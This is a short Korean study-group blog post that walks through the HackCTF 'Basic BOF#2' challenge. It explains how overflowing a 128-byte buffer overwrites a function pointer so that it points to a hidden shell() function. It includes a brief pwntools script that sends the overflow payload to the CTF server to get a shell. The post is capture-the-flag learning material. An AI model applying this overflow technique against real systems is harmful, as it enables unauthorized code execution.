스터디 그룹/ProjectH4C

ProjectH4C 3개월 1주차 과제(HackCTF - Basic BOF#2)

포너블... 아직 기초지만 너무 재미있다.


📖 1) 문제 파악

...? 우선 gdb로 열어보도록 하자.

 


📖 2) 문제 분석

 

처음에 nc 접속하게 되었을 때 보았던 부분이 이곳인 것 같다. 

 

함수 자체는 매우 간단하다. v5라는 포인터 변수에 sup 함수의 주소를 넣어준다.

이후 fgets함수를 실행하고 v5를 실행한다.

sup함수는 그냥 puts만 진행한다.

한 가지 중요한것은, shell() 이라는 함수가 존재한다는 것이다. (하지만 main 내에서는 등장하지 않는다.)

이 shell 함수는 /bin/dash를 실행하는 함수이다. 즉, 우리는 s에서 BOF를 발생시켜 v5를 shell 함수의 주소로 덮어주어야 한다.

 

 

 

 

이렇게 스택이 쌓여있다고 보면 되겠다.

 


📖 3) 문제 분석

128byte를 채우고 shell의 주소를 넣어주자. 어차피 fgets는 133byte를 받아준다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3001)

payload = "A" * 128 + "\x9b\x84\x04\x08"

p.sendline(payload)
p.interactive()

 

 

 

 


 

📖 4) 문제 해결, 느낀 점

재밌다 ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ